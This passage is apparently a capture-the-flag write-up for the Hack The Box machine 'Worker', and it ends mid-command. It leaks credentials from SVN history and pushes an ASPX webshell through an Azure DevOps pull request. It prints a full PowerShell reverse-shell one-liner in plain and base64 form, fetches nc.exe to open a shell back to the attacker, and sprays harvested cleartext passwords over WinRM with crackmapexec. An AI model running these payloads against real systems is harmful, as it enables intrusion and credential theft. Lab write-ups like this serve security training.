Subversion command-line client. + Type 'svn help ' for help on a specific subcommand. + Type 'svn --version' to see the program version and RA modules, + 'svn --version --verbose' to see dependency versions as well, + 'svn --version --quiet' to see just the version number. + + Most subcommands take file and/or directory arguments, recursing + on the directories. If no arguments are supplied to such a + command, it recurses on the current directory (inclusive) by default. + + Available subcommands: + add + auth + blame (praise, annotate, ann) + cat + changelist (cl) + checkout (co) + cleanup + commit (ci) + copy (cp) + delete (del, remove, rm) + diff (di) + export + help (?, h) + import + info + list (ls) + lock + log + merge + mergeinfo + mkdir + move (mv, rename, ren) + patch + propdel (pdel, pd) + propedit (pedit, pe) + propget (pget, pg) + proplist (plist, pl) + propset (pset, ps) + relocate + resolve + resolved + revert + status (stat, st) + switch (sw) + unlock + update (up) + upgrade + + Subversion is a tool for version control. + For additional information, see http://subversion.apache.org/ + + + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] + → svn checkout svn://10.10.10.203 + A dimension.worker.htb + A dimension.worker.htb/LICENSE.txt + A dimension.worker.htb/README.txt + A dimension.worker.htb/assets + A dimension.worker.htb/assets/css + A dimension.worker.htb/assets/css/fontawesome-all.min.css + A dimension.worker.htb/assets/css/main.css + A dimension.worker.htb/assets/css/noscript.css + A dimension.worker.htb/assets/js + A dimension.worker.htb/assets/js/breakpoints.min.js + A dimension.worker.htb/assets/js/browser.min.js + A dimension.worker.htb/assets/js/jquery.min.js + A dimension.worker.htb/assets/js/main.js + A dimension.worker.htb/assets/js/util.js + A dimension.worker.htb/assets/sass + A dimension.worker.htb/assets/sass/base + A dimension.worker.htb/assets/sass/base/_page.scss + A dimension.worker.htb/assets/sass/base/_reset.scss + A dimension.worker.htb/assets/sass/base/_typography.scss + A dimension.worker.htb/assets/sass/components + A dimension.worker.htb/assets/sass/components/_actions.scss + A dimension.worker.htb/assets/sass/components/_box.scss + A dimension.worker.htb/assets/sass/components/_button.scss + A dimension.worker.htb/assets/sass/components/_form.scss + A dimension.worker.htb/assets/sass/components/_icon.scss + A dimension.worker.htb/assets/sass/components/_icons.scss + A dimension.worker.htb/assets/sass/components/_image.scss + A dimension.worker.htb/assets/sass/components/_list.scss + A dimension.worker.htb/assets/sass/components/_table.scss + A dimension.worker.htb/assets/sass/layout + A dimension.worker.htb/assets/sass/layout/_bg.scss + A dimension.worker.htb/assets/sass/layout/_footer.scss + A dimension.worker.htb/assets/sass/layout/_header.scss + A dimension.worker.htb/assets/sass/layout/_main.scss + A dimension.worker.htb/assets/sass/layout/_wrapper.scss + A dimension.worker.htb/assets/sass/libs + A dimension.worker.htb/assets/sass/libs/_breakpoints.scss + A dimension.worker.htb/assets/sass/libs/_functions.scss + A dimension.worker.htb/assets/sass/libs/_mixins.scss + A dimension.worker.htb/assets/sass/libs/_vars.scss + A dimension.worker.htb/assets/sass/libs/_vendor.scss + A dimension.worker.htb/assets/sass/main.scss + A dimension.worker.htb/assets/sass/noscript.scss + A dimension.worker.htb/assets/webfonts + A dimension.worker.htb/assets/webfonts/fa-brands-400.eot + A dimension.worker.htb/assets/webfonts/fa-brands-400.svg + A dimension.worker.htb/assets/webfonts/fa-brands-400.ttf + A dimension.worker.htb/assets/webfonts/fa-brands-400.woff + A dimension.worker.htb/assets/webfonts/fa-brands-400.woff2 + A dimension.worker.htb/assets/webfonts/fa-regular-400.eot + A dimension.worker.htb/assets/webfonts/fa-regular-400.svg + A dimension.worker.htb/assets/webfonts/fa-regular-400.ttf + A dimension.worker.htb/assets/webfonts/fa-regular-400.woff + A dimension.worker.htb/assets/webfonts/fa-regular-400.woff2 + A dimension.worker.htb/assets/webfonts/fa-solid-900.eot + A dimension.worker.htb/assets/webfonts/fa-solid-900.svg + A dimension.worker.htb/assets/webfonts/fa-solid-900.ttf + A dimension.worker.htb/assets/webfonts/fa-solid-900.woff + A dimension.worker.htb/assets/webfonts/fa-solid-900.woff2 + A dimension.worker.htb/images + A dimension.worker.htb/images/bg.jpg + A dimension.worker.htb/images/overlay.png + A dimension.worker.htb/images/pic01.jpg + A dimension.worker.htb/images/pic02.jpg + A dimension.worker.htb/images/pic03.jpg + A dimension.worker.htb/index.md + A moved.txt + Checked out revision 5. + + + +So now we have a domain name **dimension.worker.htb** so let's add it to our hosts file: + + + [ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/HTB/worker] + → sudo -i + [sudo] password for nothing: + ┌──(root💀nowhere)-[~] + └─# echo '10.10.10.203 dimension.worker.htb worker.htb' >> /etc/hosts + + ┌──(root💀nowhere)-[~] + └─# ping -c1 worker.htb + PING dimension.worker.htb (10.10.10.203) 56(84) bytes of data. + 64 bytes from dimension.worker.htb (10.10.10.203): icmp_seq=1 ttl=127 time=467 ms + + --- dimension.worker.htb ping statistics --- + 1 packets transmitted, 1 received, 0% packet loss, time 0ms + rtt min/avg/max/mdev = 466.764/466.764/466.764/0.000 ms + + ┌──(root💀nowhere)-[~] + └─# ping -c1 dimension.worker.htb + PING dimension.worker.htb (10.10.10.203) 56(84) bytes of data. + 64 bytes from dimension.worker.htb (10.10.10.203): icmp_seq=1 ttl=127 time=468 ms + + --- dimension.worker.htb ping statistics --- + 1 packets transmitted, 1 received, 0% packet loss, time 0ms + rtt min/avg/max/mdev = 467.971/467.971/467.971/0.000 ms + + ┌──(root💀nowhere)-[~] + └─# exit + + [ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/HTB/worker] + → + + +Now we enumerate the snv service further, since running svn checkout gave us revision 5 we now run svn diff to view the changes for revisions 2-3: + + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] + → svn diff -r 2 + Index: deploy.ps1 + =================================================================== + --- deploy.ps1 (revision 2) + +++ deploy.ps1 (nonexistent) + @@ -1,6 +0,0 @@ + -$user = "nathen" + -$plain = "wendel98" + -$pwd = ($plain | ConvertTo-SecureString) + -$Credential = New-Object System.Management.Automation.PSCredential $user, $pwd + -$args = "Copy-Site.ps1" + -Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args") + Index: moved.txt + =================================================================== + --- moved.txt (nonexistent) + +++ moved.txt (revision 5) + @@ -0,0 +1,5 @@ + +This repository has been migrated and will no longer be maintaned here. + +You can find the latest version at: http://devops.worker.htb + + + +// The Worker team :) + + + + + +Now here we get a hint towards a certain **deploy.ps1** file, and a certain **devops.worker.htb** subdomain which we will add to our hosts file. We seem to also get credentials **nathen:wendel98**. Attempting to get to http://devops.worker.htb gives us a basicauth login prompt onto which we use nathen's credentials: + +![](prg/60_002.png) ![](prg/60_003.png) + +And we get access to an Azure DevOps webpage into which we seem to be logged in as the user ekenas. We navigate into the SmartHotel 360 repository and we see the following project: + +![](prg/60_004.png) + +When we take a look at the pipelines we see the following: + +![](prg/60_005.png) ![](prg/60_006.png) + +Now here we get more infos, there seen to be a W:\ drive onto which there is a website root directory.Now let's navigate to the repo itself and clone it: + +![](prg/60_007.png) + + + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] + → git clone http://devops.worker.htb/ekenas/SmartHotel360/_git/spectral + Cloning into 'spectral'... + Username for 'http://devops.worker.htb': nathen + Password for 'http://nathen@devops.worker.htb': + remote: Azure Repos + remote: Found 57 objects to send. (84 ms) + Unpacking objects: 100% (57/57), 1.34 MiB | 150.00 KiB/s, done. + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] + → ls -lash dimension.worker.htb + total 56K + 4.0K drwxr-xr-x 4 nothing nothing 4.0K Jun 27 13:03 . + 4.0K drwxr-xr-x 5 nothing nothing 4.0K Jun 27 13:54 .. + 4.0K drwxr-xr-x 6 nothing nothing 4.0K Jun 27 13:03 assets + 4.0K drwxr-xr-x 2 nothing nothing 4.0K Jun 27 13:03 images + 16K -rw-r--r-- 1 nothing nothing 15K Jun 27 13:03 index.html + 20K -rw-r--r-- 1 nothing nothing 17K Jun 27 13:03 LICENSE.txt + 4.0K -rw-r--r-- 1 nothing nothing 771 Jun 27 13:03 README.txt + + + +Now from here, we have access to the files of **spectral.worker.htb** so what we can do is upload an .aspx command webshell onto the repository since we have nathen's credentials. Obviously as we saw earlier we also have access to the website itself after we add it to our hosts file: + +![](prg/60_008.png) + +So we should be able to upload our cmd webshell and also browse to it. + + + [ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/worker] + → cd spectral + + [ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral] + → ls -lash + total 80K + 4.0K drwxr-xr-x 5 nothing nothing 4.0K Jun 27 13:54 . + 4.0K drwxr-xr-x 5 nothing nothing 4.0K Jun 27 13:57 .. + 4.0K drwxr-xr-x 6 nothing nothing 4.0K Jun 27 13:54 assets + 20K -rw-r--r-- 1 nothing nothing 18K Jun 27 13:54 elements.html + 8.0K -rw-r--r-- 1 nothing nothing 4.9K Jun 27 13:54 generic.html + 4.0K drwxr-xr-x 8 nothing nothing 4.0K Jun 27 13:54 .git + 4.0K drwxr-xr-x 2 nothing nothing 4.0K Jun 27 13:54 images + 8.0K -rw-r--r-- 1 nothing nothing 6.9K Jun 27 13:54 index.html + 20K -rw-r--r-- 1 nothing nothing 17K Jun 27 13:54 LICENSE.txt + 4.0K -rw-r--r-- 1 nothing nothing 1.3K Jun 27 13:54 README.txt + + [ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral] + → cp /usr/share/seclists/Web-Shells/FuzzDB/cmd.aspx cmd.aspx + + + +Now we try to do a git commit to push our cmd webshell to the repository: + + + [ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral] + → git add . + + [ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral] + → git commit -m 'nihilist' + [master 667034b] nihilist + 1 file changed, 42 insertions(+) + create mode 100755 cmd.aspx + + [ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral] + → git push + Username for 'http://devops.worker.htb': nathen + Password for 'http://nathen@devops.worker.htb': + Enumerating objects: 4, done. + Counting objects: 100% (4/4), done. + Delta compression using up to 4 threads + Compressing objects: 100% (3/3), done. + Writing objects: 100% (3/3), 977 bytes | 977.00 KiB/s, done. + Total 3 (delta 1), reused 0 (delta 0), pack-reused 0 + remote: Analyzing objects... (3/3) (94 ms) + remote: Storing packfile... done (252 ms) + remote: Storing index... done (142 ms) + To http://devops.worker.htb/ekenas/SmartHotel360/_git/spectral + ! [remote rejected] master -> master (TF402455: Pushes to this branch are not permitted; you must use a pull request to update this branch.) + error: failed to push some refs to 'http://devops.worker.htb/ekenas/SmartHotel360/_git/spectral' + + + +Doesnt work so we just create a new branch: + + + [ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral] + → git branch nihilist + + [ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral] + → git checkout nihilist + Switched to branch 'nihilist' + + [ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral] + → git push --set-upstream origin nihilist + Username for 'http://devops.worker.htb': nathen + Password for 'http://nathen@devops.worker.htb': + Enumerating objects: 4, done. + Counting objects: 100% (4/4), done. + Delta compression using up to 4 threads + Compressing objects: 100% (3/3), done. + Writing objects: 100% (3/3), 977 bytes | 977.00 KiB/s, done. + Total 3 (delta 1), reused 0 (delta 0), pack-reused 0 + remote: Analyzing objects... (3/3) (4 ms) + remote: Storing packfile... done (23 ms) + remote: Storing index... done (27 ms) + To http://devops.worker.htb/ekenas/SmartHotel360/_git/spectral + * [new branch] nihilist -> nihilist + Branch 'nihilist' set up to track remote branch 'nihilist' from 'origin'. + + + +This time our branch managed to get pushed, now we return to the azure git web interface, and we see our new branch: + +![](prg/60_009.png) + +Here we see our new branch, so we return to master to create a pull request in order to merge our repository into the master branch: + +![](prg/60_010.png) + +We basically need to add a random work item and then we just click **Create** : + +![](prg/60_011.png) + +Note: the git branches are regularly cleaned up so you need to create your PR and merge it quickly. Once the PR is created, we need to approve it: + +![](prg/60_012.png) ![](prg/60_013.png) + +Once it's approved we complete the branch merge: + +![](prg/60_014.png) ![](prg/60_015.png) + +And now our cmd.aspx file should be uploaded: + +![](prg/60_016.png) ![](prg/60_017.png) ![](prg/60_018.png) + +So now we get command execution as the **iis apppool\defaultapppool** user. + +![](prg/60_019.png) + +And as we can see, this box resets even the merges we did regularly, so we redo a PR to spawn a shell the second time once we are in cmd.aspx, we will use **Invoke-PowerShellTcpOneLine.ps1** : + + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] + → locate Invoke-PowerShellTcp + /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 + /usr/share/nishang/Shells/Invoke-PowerShellTcpOneLine.ps1 + /usr/share/nishang/Shells/Invoke-PowerShellTcpOneLineBind.ps1 + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] + → locate Invoke-PowerShellTcpOneLine.ps1 + /usr/share/nishang/Shells/Invoke-PowerShellTcpOneLine.ps1 + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] + → cp $(locate Invoke-PowerShellTcpOneLine.ps1) . + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] + → vim Invoke-PowerShellTcpOneLine.ps1 + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] + → cat Invoke-PowerShellTcpOneLine.ps1 + $client = New-Object System.Net.Sockets.TCPClient("10.10.14.11",9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() + + + +Now to be able to transfer it to the windows box, we need to convert it to a base64 format that windows will accept, to do so we use **iconv -t utf-16le** you won't see the difference without using xxd: + + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] + → cat Invoke-PowerShellTcpOneLine.ps1 + $client = New-Object System.Net.Sockets.TCPClient("10.10.14.11",9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] + → cat Invoke-PowerShellTcpOneLine.ps1| iconv -t utf-16le + $client = New-Object System.Net.Sockets.TCPClient("10.10.14.11",9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] + → cat Invoke-PowerShellTcpOneLine.ps1| xxd + 00000000: 2463 6c69 656e 7420 3d20 4e65 772d 4f62 $client = New-Ob + 00000010: 6a65 6374 2053 7973 7465 6d2e 4e65 742e ject System.Net. + 00000020: 536f 636b 6574 732e 5443 5043 6c69 656e Sockets.TCPClien + 00000030: 7428 2231 302e 3130 2e31 342e 3131 222c t("10.10.14.11", + 00000040: 3930 3031 293b 2473 7472 6561 6d20 3d20 9001);$stream = + [...] + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] + → cat Invoke-PowerShellTcpOneLine.ps1| iconv -t utf-16le | xxd + 00000000: 2400 6300 6c00 6900 6500 6e00 7400 2000 $.c.l.i.e.n.t. . + 00000010: 3d00 2000 4e00 6500 7700 2d00 4f00 6200 =. .N.e.w.-.O.b. + 00000020: 6a00 6500 6300 7400 2000 5300 7900 7300 j.e.c.t. .S.y.s. + 00000030: 7400 6500 6d00 2e00 4e00 6500 7400 2e00 t.e.m...N.e.t... + 00000040: 5300 6f00 6300 6b00 6500 7400 7300 2e00 S.o.c.k.e.t.s... + 00000050: 5400 4300 5000 4300 6c00 6900 6500 6e00 T.C.P.C.l.i.e.n. + 00000060: 7400 2800 2200 3100 3000 2e00 3100 3000 t.(.".1.0...1.0. + [...] + + + +So we convert our powershell reverse shell one liner to **utf-16le** and then to base64 without new lines (we use **-w0**): + + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] + → cat Invoke-PowerShellTcpOneLine.ps1| iconv -t utf-16le | base64 -w0 + JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQAxACIALAA5ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkACgA= + + + +Now that's ready we prepare our netcat listener on port 9001: + + + [ 10.10.14.11/23 ] [ /dev/pts/29 ] [HTB/worker/spectral] + → nc -lvnp 9001 + listening on [any] 9001 ... + + + +And once we merged our nihilist git branch again we could use the following command on our aspx webshell: + + + /c powershell -enc BASE64ONELINERREVSHELLSTRING + + + +Or we can just upload a reverse shell .aspx file directly: + + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [HTB/worker/spectral] + → wget https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/master/shell.aspx + --2021-06-27 16:00:31-- https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/master/shell.aspx + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.108.133, 185.199.110.133, ... + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 15968 (16K) [text/plain] + Saving to: ‘shell.aspx’ + + shell.aspx 100%[======================================================================================================================================================>] 15.59K --.-KB/s in 0.03s + + 2021-06-27 16:00:32 (491 KB/s) - ‘shell.aspx’ saved [15968/15968] + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [HTB/worker/spectral] + → vim shell.aspx + # we change the destination ip and destination port to be 10.10.14.11 and port 9001 + # protected void Page_Load(object sender, EventArgs e) + # { + # String host = "10.10.14.11"; //CHANGE THIS + # int port = 9002; ////CHANGE THIS + # + # [...] + + [ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral] + → git add . + + [ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral] + → git commit -m 'shell.aspx' + [nihilist 7d2a3e0] shell.aspx + 1 file changed, 423 insertions(+) + create mode 100644 shell.aspx + + [ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral] + → git push --set-upstream origin nihilist + Username for 'http://devops.worker.htb': nathen + Password for 'http://nathen@devops.worker.htb': + Enumerating objects: 7, done. + Counting objects: 100% (7/7), done. + Delta compression using up to 4 threads + Compressing objects: 100% (6/6), done. + Writing objects: 100% (6/6), 4.68 KiB | 2.34 MiB/s, done. + Total 6 (delta 2), reused 0 (delta 0), pack-reused 0 + remote: Analyzing objects... (6/6) (3 ms) + remote: Storing packfile... done (17 ms) + remote: Storing index... done (30 ms) + To http://devops.worker.htb/ekenas/SmartHotel360/_git/spectral + * [new branch] nihilist -> nihilist + Branch 'nihilist' set up to track remote branch 'nihilist' from 'origin'. + + +merge the branches from devops.worker.htb as usual and use the netcat listener on port 9002, and apparently you can't even run that shell.aspx file, so instead we're going to use the netcat binary, we're going to drop it into **C:\temp** which is a directory we create from **cmd.aspx** : + +![](prg/60_020.png) + + + [ 10.10.14.11/23 ] [ /dev/pts/34 ] [HTB/worker/spectral] + → cp /home/nothing/HTB/json/nihilist/nc.exe . + + [ 10.10.14.11/23 ] [ /dev/pts/34 ] [HTB/worker/spectral] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + [from cmd.aspx] + **powershell -c iwr -Uri http://10.10.14.11:9090/nc.exe -O C:\temp\nc.exe** + + + +` ![](prg/60_021.png) + +And then simply use the netcat binary directly **C:\temp\nc.exe 10.10.14.11 9002 -e powershell.exe** + + + [ 10.10.14.11/23 ] [ /dev/pts/29 ] [HTB/worker/spectral] + → rlwrap nc -lvnp 9002 + listening on [any] 9002 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.203] 51608 + Windows PowerShell + Copyright (C) Microsoft Corporation. All rights reserved. + + whoami + whoami + iis apppool\defaultapppool + PS C:\windows\system32\inetsrv> + + + +And we get a reverse shell! Now a while back we saw that there was a **W:\** drive so let's explore it: + + + cd W:\ + cd W:\ + dir + dir + + + Directory: W:\ + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + d----- 2020-06-16 18:59 agents + d----- 2020-03-28 14:57 AzureDevOpsData + d----- 2020-04-03 11:31 sites + d----- 2020-06-20 16:04 svnrepos + + + cd svnrepos\www\conf + + Directory: W:\svnrepos\www\conf + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + -a---- 2020-06-20 11:29 1112 authz + -a---- 2020-06-20 11:29 904 hooks-env.tmpl + -a---- 2020-06-20 15:27 1031 passwd + -a---- 2020-04-04 20:51 4454 svnserve.conf + + + PS W:\svnrepos\www\conf> type passwd + + +And from this file we get alot of credentials in cleartext so we can make a wordlist of users and passwords to try with crackmapexec: + + + type passwd + ### This file is an example password file for svnserve. + ### Its format is similar to that of svnserve.conf. As shown in the + ### example below it contains one section labelled [users]. + ### The name and password for each user follow, one account per line. + + [users] + nathen = wendel98 + nichin = fqerfqerf + nichin = asifhiefh + noahip = player + nuahip = wkjdnw + [...] + + [ 10.10.14.11/23 ] [ /dev/pts/33 ] [~/HTB/worker] + → cat creds.txt + nathen:wendel98 + nichin:fqerfqerf + nichin:asifhiefh + noahip:player + nuahip:wkjdnw + oakhol:bxwdjhcue + owehol:supersecret + paihol:painfulcode + [...] + + [ 10.10.14.11/23 ] [ /dev/pts/33 ] [~/HTB/worker] + → awk -F: '{print $1}' creds.txt > users.txt + + [ 10.10.14.11/23 ] [ /dev/pts/33 ] [~/HTB/worker] + → awk -F: '{print $2}' creds.txt > passwords.txt + + + +And we can just bruteforce the which of these credentials are valid for the winrm service using crackmapexec: + + + [ 10.10.14.11/23 ] [ /dev/pts/33 ] [~/HTB/worker] + → crackmapexec winrm 10.10.10.203 -u users.txt -p passwords.txt --no-bruteforce --continue-on-success + WINRM 10.10.10.203 5985 NONE [*] None (name:10.10.10.203) (domain:None) + WINRM 10.10.10.203 5985 NONE [*] http://10.10.10.203:5985/wsman + WINRM 10.10.10.203 5985 NONE [-] None\nathen:wendel98 + WINRM 10.10.10.203 5985 NONE [-] None\nichin:fqerfqerf + WINRM 10.10.10.203 5985 NONE [-] None\nichin:asifhiefh + WINRM 10.10.10.203 5985 NONE [-] None\noahip:player + WINRM 10.10.10.203 5985 NONE [-] None\nuahip:wkjdnw + WINRM 10.10.10.203 5985 NONE [-] None\oakhol:bxwdjhcue + WINRM 10.10.10.203 5985 NONE [-] None\owehol:supersecret + WINRM 10.10.10.203 5985 NONE [-] None\paihol:painfulcode + WINRM 10.10.10.203 5985 NONE [-] None\parhol:gitcommit + WINRM 10.10.10.203 5985 NONE [-] None\pathop:iliketomoveit + WINRM 10.10.10.203 5985 NONE [-] None\pauhor:nowayjose + WINRM 10.10.10.203 5985 NONE [-] None\payhos:icanjive + WINRM 10.10.10.203 5985 NONE [-] None\perhou:elvisisalive + WINRM 10.10.10.203 5985 NONE [-] None\peyhou:ineedvacation + WINRM 10.10.10.203 5985 NONE [-] None\phihou:pokemon + WINRM 10.10.10.203 5985 NONE [-] None\quehub:pickme + WINRM 10.10.10.203 5985 NONE [-] None\quihud:kindasecure + WINRM 10.10.10.203 5985 NONE [-] None\rachul:guesswho + WINRM 10.10.10.203 5985 NONE [-] None\raehun:idontknow + WINRM 10.10.10.203 5985 NONE [-] None\ramhun:thisis + WINRM 10.10.10.203 5985 NONE [-] None\ranhut:getting + WINRM 10.10.10.203 5985 NONE [-] None\rebhyd:rediculous + WINRM 10.10.10.203 5985 NONE [-] None\reeinc:iagree + WINRM 10.10.10.203 5985 NONE [-] None\reeing:tosomepoint + WINRM 10.10.10.203 5985 NONE [-] None\reiing:isthisenough + WINRM 10.10.10.203 5985 NONE [-] None\renipr:dummy + WINRM 10.10.10.203 5985 NONE [-] None\rhiire:users + WINRM 10.10.10.203 5985 NONE [-] None\riairv:canyou + WINRM 10.10.10.203 5985 NONE [-] None\ricisa:seewhich + WINRM 10.10.10.203 5985 NONE [-] None\robish:onesare + **WINRM 10.10.10.203 5985 NONE [+] None\robisl:wolves11 (Pwn3d!)** + WINRM 10.10.10.203 5985 NONE [-] None\robive:andwhich + WINRM 10.10.10.203 5985 NONE [-] None\ronkay:onesare + WINRM 10.10.10.203 5985 NONE [-] None\rubkei:the + WINRM 10.10.10.203 5985 NONE [-] None\rupkel:sheeps + WINRM 10.10.10.203 5985 NONE [-] None\ryakel:imtired + WINRM 10.10.10.203 5985 NONE [-] None\sabken:drjones + WINRM 10.10.10.203 5985 NONE [-] None\samken:aqua + WINRM 10.10.10.203 5985 NONE [-] None\sapket:hamburger + WINRM 10.10.10.203 5985 NONE [-] None\sarkil:friday + + + +And we get valid credentials for the robisl user! so let's spawn an evil-winrm session: + + + [ 10.10.14.11/23 ] [ /dev/pts/28 ] [HTB/worker/spectral] + → evil-winrm -i worker.htb -u robisl -p wolves11 + + Evil-WinRM shell v2.4 + + Info: Establishing connection to remote endpoint + + *Evil-WinRM* PS C:\Users\robisl\Documents> whoami + worker\robisl + + + +So now from here we can get the user flag: + + + *Evil-WinRM* PS C:\Users\robisl\Documents> cd ../Desktop + *Evil-WinRM* PS C:\Users\robisl\Desktop> type user.txt + 51XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +## **Part 3 : Getting Root Access** + +Now in order to continue we need to login as the robisl user onto the Azure DevOps git page (make sure to go to http://devops.worker.htb/, the ROOT of the subbdomain, and not the other repository we were on previously): + +![](prg/60_022.png) + +And then we see that we have access to a new repository called **PartsUnlimited** : + +![](prg/60_023.png) + +So the difference here is that first of all there are no pipelines: + +![](prg/60_024.png) + +However the robisl user is able to create a new pipeline, and therefore we should be able to use this new pipeline to execute a reverse shell as nt authority/system, so let's create that pipeline: + +![](prg/60_025.png) ![](prg/60_026.png) ![](prg/60_027.png) ![](prg/60_028.png) ![](prg/60_029.png) + + + [terminal 1] + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] + → cat Invoke-PowerShellTcpOneLine.ps1 + $client = New-Object System.Net.Sockets.TCPClient("10.10.14.11",9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() + + [ 10.10.14.11/23 